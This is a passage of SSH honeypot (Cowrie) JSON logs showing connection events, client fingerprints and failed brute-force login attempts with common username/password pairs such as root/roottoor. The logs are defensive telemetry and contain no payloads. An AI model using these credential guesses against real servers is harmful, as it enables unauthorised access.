88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:35.311840Z","src_ip":"159.203.92.129","session":"7fa61dc86e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456789","message":"login attempt [administrator/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:35.324114Z","src_ip":"159.203.92.129","session":"7fa61dc86e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:36.330843Z","src_ip":"159.203.92.129","session":"7fa61dc86e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":41206,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25f5b511cd2","protocol":"ssh","message":"New connection: 198.98.55.71:41206 (10.17.0.5:22) [session: e25f5b511cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:37.479793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:37.484096Z","src_ip":"198.98.55.71","session":"e25f5b511cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:37.499951Z","src_ip":"198.98.55.71","session":"e25f5b511cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:37.543472Z","src_ip":"198.98.55.71","session":"e25f5b511cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:38.551929Z","src_ip":"198.98.55.71","session":"e25f5b511cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42624,"dst_ip":"159.203.135.109","dst_port":22,"session":"de33f389b051","protocol":"ssh","message":"New connection: 159.203.92.129:42624 (159.203.135.109:22) [session: de33f389b051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:15.973992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:15.978663Z","src_ip":"159.203.92.129","session":"de33f389b051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:15.983509Z","src_ip":"159.203.92.129","session":"de33f389b051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234567890","message":"login attempt [administrator/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:15.996392Z","src_ip":"159.203.92.129","session":"de33f389b051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:17.002820Z","src_ip":"159.203.92.129","session":"de33f389b051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":57477,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cf5b2e1d010","protocol":"ssh","message":"New connection: 177.36.200.182:57477 (159.203.135.109:22) [session: 5cf5b2e1d010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:20.431604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:20.437210Z","src_ip":"177.36.200.182","session":"5cf5b2e1d010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:20.838158Z","src_ip":"177.36.200.182","session":"5cf5b2e1d010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottoor","message":"login attempt [root/roottoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:22.036659Z","src_ip":"177.36.200.182","session":"5cf5b2e1d010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:23.438205Z","src_ip":"177.36.200.182","session":"5cf5b2e1d010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":38520,"dst_ip":"10.17.0.5","dst_port":22,"session":"4090e0a95f58","protocol":"ssh","message":"New connection: 198.98.55.71:38520 (10.17.0.5:22) [session: 4090e0a95f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:27.164799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:27.169416Z","src_ip":"198.98.55.71","session":"4090e0a95f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:27.173851Z","src_ip":"198.98.55.71","session":"4090e0a95f58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456","message":"login attempt [root/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:27.227197Z","src_ip":"198.98.55.71","session":"4090e0a95f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:28.235417Z","src_ip":"198.98.55.71","session":"4090e0a95f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":19381,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4af3f5a317a","protocol":"ssh","message":"New connection: 125.166.19.90:19381 (159.203.135.109:22) [session: d4af3f5a317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:35.958362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:35.962400Z","src_ip":"125.166.19.90","session":"d4af3f5a317a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:36.232417Z","src_ip":"125.166.19.90","session":"d4af3f5a317a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@12345","message":"login attempt [root/test@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:37.341079Z","src_ip":"125.166.19.90","session":"d4af3f5a317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:38.613501Z","src_ip":"125.166.19.90","session":"d4af3f5a317a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53698,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c823c985999","protocol":"ssh","message":"New connection: 159.203.92.129:53698 (159.203.135.109:22) [session: 5c823c985999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:56.654329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:56.659217Z","src_ip":"159.203.92.129","session":"5c823c985999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:56.663920Z","src_ip":"159.203.92.129","session":"5c823c985999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345QWERT","message":"login attempt [administrator/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:56.675275Z","src_ip":"159.203.92.129","session":"5c823c985999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:02:57.685889Z","src_ip":"159.203.92.129","session":"5c823c985999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":59328,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ce336bcc7a","protocol":"ssh","message":"New connection: 198.98.55.71:59328 (10.17.0.5:22) [session: a4ce336bcc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:19.700567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:19.705182Z","src_ip":"198.98.55.71","session":"a4ce336bcc7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:19.710015Z","src_ip":"198.98.55.71","session":"a4ce336bcc7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poker123","message":"login attempt [root/poker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:19.762261Z","src_ip":"198.98.55.71","session":"a4ce336bcc7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:20.770330Z","src_ip":"198.98.55.71","session":"a4ce336bcc7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54538,"dst_ip":"159.203.135.109","dst_port":22,"session":"794535acf092","protocol":"ssh","message":"New connection: 159.203.92.129:54538 (159.203.135.109:22) [session: 794535acf092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:39.016865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:39.021527Z","src_ip":"159.203.92.129","session":"794535acf092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-n